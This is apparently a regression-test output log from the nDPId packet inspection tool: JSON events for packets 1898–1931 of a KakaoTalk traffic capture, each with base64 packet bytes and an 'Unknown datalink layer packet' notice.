+00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1898,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":971289,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/NbWAbDLnfq9Ow1SapdoOD5mmujatMJpHXm76vsXntqwNHNiSMy0cIc4CA8zyhbpvMv20ZXNZ4VL5"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1898,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1899,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069198,"pkt_ts_usec":988715,"pkt_caplen":100,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFQAAEAAHBH+JgHJAa4KGFK8WgYoHABA9omAbFBiiz\/w2guGVRn4DahNZ4P+u3QVAPL4rCMsz1I2OoT+opNI4Go5KXaqepVib8A9QRNfVsiAvQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1899,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1900,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":9314,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGIAAEAAPxHbQAoYUrwByQGuLDhaBABOGbmAbFCFi0B0GguGVRlr5Gw8fx+PjZxpB4Ce9hyDsslqoSvwqarkkT+EoTRGjJXyg3b\/jL1YtA1zHVea196z7DYcTZ9UwM+7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1900,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1901,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":11969,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/crKAbDLofq9Sg1Sapdqzni1V76MIB+4++QD9ltS6lv5ku4LcErzUNNwRAmSaNo3ZYhzENyrqhL1T"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1901,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1902,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":43708,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/qOWAbDMLfq\/Vw1SapdpB6kYTJpoup1\/8usfcptY1\/CNrRXmy+9310mqmo1F6+f3MexbWvZPvxY3C"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1902,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1903,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":68610,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/MJCAbDLpfq9WQ1SapdqhgrTAEfu1w\/VWoK0568tyoNN8erYr5fGVaPDo6nWkKrn\/gKL7dBWBM0Bf"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1903,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1904,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":79352,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/gmiAbFBjiz\/0mguGVRnFN0ur29eQxb0Qzp959op0+mXIrkQKcYpcnMJHUPtUA\/Qwqw1IvW7SCFpA"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1904,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1905,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":108954,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAPxHbQwoYUrwByQGuLDhaBABLzJWAbFCGi0B32guGVRkONHZ\/mfp4Env4iSfwarnadmJbUd9\/XV53fiL0NwtJMqPv7Vo6tJCU6PW9gi219Si73nSxqaqo"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1905,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1906,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":109137,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABF+uSAbFCHi0B7mguGVRmjZUKo6Kbx9n3zn0hN1zATKmakH3CgP8kjjPH7M5mmRBAQ2Mzaa\/KFOl73U111CmvM"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1906,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00477{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1907,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":109229,"pkt_caplen":128,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":128,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHAAAEAAHBH+CgHJAa4KGFK8WgYoHABcw7iAbFBkiz\/4WguGVRkhISJTAlDuKc3RDb9m0s8D1n+pqrb4StYHkbII3xO6cSstpwWEF8AtKjgzNaqQp+Sqd1ZxknG1qV5XS3EhNshM35cAt7j7TaI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1907,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1908,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":132178,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ZL2AbDMMfq\/Zg1SapdrAKJhV0ODe\/RmjWc5EMHxHxFyAivnqCcEcyIb4eTJwEzJIRKgUUDwQu\/Md"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1908,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00438{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1909,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":137610,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/f8WAbDMNfq\/dQ1SapdpadjNLYnh0nO9if40\/lSLuBvgby9XVl\/1xl6FrJEm3kf5ZU+2CUf4hquFg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1909,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1910,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":168677,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGQAAEAAHRH9FgHJAa4KGFK8WgQsOABQ+lCAbDLqfq9aA1SapdrEKnfRe\/BZNA9vX6VAZudwA8tyISS0mtWBbQzEb\/8x7DOr2wmalPvs4HloupYlutzGXeSW0Q1Mifu7hqI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1910,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1911,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":200415,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ne2AbDMOfq\/hA1SapdrcyUpemZsPCeSLPhQlS\/ErvXK75VxdN1LHBw2xeEe7xCzsqOGX2GPFt1TK"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1911,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1912,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":209052,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABH\/aeAbFCIi0B\/WguGVRmmcVlrBAmbIQmJ5WGoqE3ephTqaEz2w70WfvbpUX\/IHp9taMK+4G9C5i2XvIdk2pUbGGE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1912,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1913,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":209143,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJVfeAbFCJi0CDGguGVRl6ZVhdEfiFlm4j\/iYu8ScAakehZNN8RL6N4WrslBnnUGqc4xJHuy6aAuDlw80\/YkiD22kz9Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1913,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00530{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1914,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":209204,"pkt_caplen":166,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":166,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJYAAEAAHRH85AHJAa4KGFK8WgQsOACC+FuAbDLrfq9dw1SapdqYDJLMdrxGtF+gFUsCLwRNAHJ8l8CNffz6l3HBDSCJsWPTm25MMl+AN6vNMMH\/ahIfAEycE2l\/ePiscrN69ZIdj6Y21+lb5pwzW66Bq5oYQdlF6wl2luvznDBkEQiK1T6qBhhZBz2wXRlMwFGL1g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1914,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1915,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":241645,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/eteAbDMPfq\/kw1SapdpB\/ThqhGRKDJgrvSm9+gPdmfZ+PoZ2OAmhMFVEL4UkD3+3PpNJvJ3bCCFi"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1915,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00588{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1916,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":279395,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMIAAEAAGxH+uAHJAa4KGFK8WgYoHACuTp2AbFBliz\/8GguGVRlHNMNfDADOVBqQEh\/WV4iPKDr8toTV8HRwzSbPrMlLS3Pkc2IfZo5qqPvLmkx9t61FtsnmaLPh8+yypxtfgl93AxMhjgVMumUE1N0mg3UhGJx3Ej4K\/UWgSyqpA+8z8qJvnyv3IkvFQpmOUNKG94pLGY79ZW2Uu5HqvZxaLh5e3a1J82GShs\/k1dN9p8hiKX3N2lA0+ebFxYYR"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1916,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1917,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":314887,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABH+A2AbFCKi0CG2guGVRmxLIeJXEHZQTmYqvNmyAu3HKKiaWsRDQUW2hUkcdqdz1yb1IHZvo2b4NHeBPX+OmIAWx0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1917,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1918,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":343299,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/\/VGAbDMQfq\/og1SapdqZG11BnEO35IF848bzdrc3HE2zAn22IbN8nrjwwLQHHfJZRWdBAa+UGaMC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1918,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1919,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":359320,"pkt_caplen":216,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":216,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMgAAEAAGxH+sgHJAa4KGFK8WgYoHAC0qISAbFBmiz\/\/2guGVRkJ8+RZMUSVl1dXRDApe6qNvxhfg3EcSKYe1nkYIuo0KG78qGry1gefx4nZgPP1LEIaNszch2g2ejnLprA\/2tEc33F4Tyh3SOfvKG4HX2ah5bvvz2UHMHWkABluvZwNYnWTeFVEowBzHYAG5PMzRlC4Z0KxamPQkkhtBQIh2q065AL1UFrClJG+pK3n9PsGtzYn5xmqlUqPeZZpQGKIapzl"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1919,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1920,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":390509,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ZB2AbDMRfq\/sQ1SapdrG0hfCYutPD9M1VYz7Afn1zFNuP1tovtkHbVTPX\/gjlp1KTjgijbLl7R8P"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1920,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00526{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1921,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":399298,"pkt_caplen":164,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":164,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJQAAEAAHRH85gHJAa4KGFK8WgQsOACAMuKAbDLsfq9hg1SapdqQdIGUYm+KSCpX04mWTTYR8WcwuJNe0LX4eJ98CZZr9HNmAdNlRF1VH9SCCFz5DWRtekGlfBmWOHGfq3\/vQKH+GRASSg5MwMApmmiSMJVRQl91T8OHQ9RN\/09xV72OcJswXAXSCgwN0NvoZPc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1921,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1922,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":408820,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJuWuAbFCLi0CKmguGVRmG2KosWmodL1imK\/tTtZ0CO6J9ShtwR4z3YXjGW5pZ18tmEof+hMtEpd9NRCF6uD9tn7tGGw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1922,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1923,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":410102,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABInd6AbFCMi0COWguGVRkL+g2Oh9Wkg9zpM5EAeqQ9dRRZ9JQrWR7zJt2r29UKg0tTTykubazfDbihc7D\/GOlrL2cl"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1923,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1924,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":424079,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAQBHaJAoYUrwByQGuKB1aBwBqiN+ByAAMVJql2usjul1bYt0wXtBGultF6ID8cTY8FKzSbZy09RI\/Nk\/Zog6jhkaTF88sGdIGxg0nTTITCbns5cdACSsU7aRlGhJYmiNLLu3NkWkKaSGAAAAIuSiehL8FPbSahw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1924,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1925,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":425757,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGkAAEAAQBHaOQoYUrwByQGuKBxaBgBVKNaAbDMSfq\/wA1SapdqGDdpOCLL57FzSayFgYFz\/8F3Df3Vd9NKMd4NUYmDJbi0xfETopmrZHTqZOnyplOp2QZcT10xP6qR2JV5ZOWPIFQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1925,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00578{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1926,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":479468,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALwAAEAAGxH+vgHJAa4KGFK8WgYoHACopzeAbFBni0ADmguGVRm2eoZ+8OvIQS8edotjXCwftciqC1xEHNtiScQds7CKLu8dbIIs9kgYJ9DORSuuLg+F7uUheUm\/SeyVMxa+t8Zjs+lpsWenCO0zdA1WXhArcLsL33xZwXKQVDdFzygOwEMqW1j4dfsctmKME9AO7M+UnMdFS8fQ05hbvnR9rr\/4yntxQRPtPrvbM5XEKx1gmZMpJQPs"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1926,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1927,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":505225,"pkt_caplen":122,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGoAAEAAQBHaOAoYUrwByQGuKBxaBgBWfKiAbDMTfq\/zw1Sapdp5AYPUHN+TUpLys7iMPJM0q1zvRM84o31QShiaGJKvq1TTeA50Ke5LQMnOVovyauPh5+jPoGlfc5wLQvNrwjmnqds="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1927,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1928,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":513800,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHogWAbFCNi0CSGguGVRlu+cGuXZ+gdBpKicsYIsUT0RBJi4ByICrygy3+k3\/89ozlieMWTdtG1P3dPduDyYNYBVQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1928,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1929,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":513953,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGkAAEAAPxHbOQoYUrwByQGuLDhaBABVmL6AbFCOi0CV2guGVRmltBqVR+QesUry7UCfmJ9P7bRcx7DqPS\/nFDJm3StCIMfZ1NLV59iyqGt2fr6I5HFoMwoggI8LPE48HWG5foOJag=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1929,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1930,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":542426,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGgAAEAAQBHaOgoYUrwByQGuKBxaBgBU1qCAbDMUfq\/3g1SapdqgVXWz7a2gtpcCxzYkxkMebu2613LsT1J5DJZLKgbCXt5kqceQK89wgjfHdzkzW1eIGZnfnvxHJrxdMUREic94"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1930,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00549{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1931,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":551367,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKMAAEAAHBH91wHJAa4KGFK8WgQsOACPSWqAbDLtfq9lQ1Sapdr+EV\/3RvRuhTcSA5LgrsPxDBYc59JXbU\/5mrHeB3pnHjFvUSGLs25xgYMC6Go\/8gcV0HY\/IaDx8d8zyxD5X4KY2BTTgpSiPtx7OoBmY0riqKuwY8Sx9EeON++H4V9pEguKBPyBcJgXjLOaAhJtpeEt3khY\/L+KWTY3Pg8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1931,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 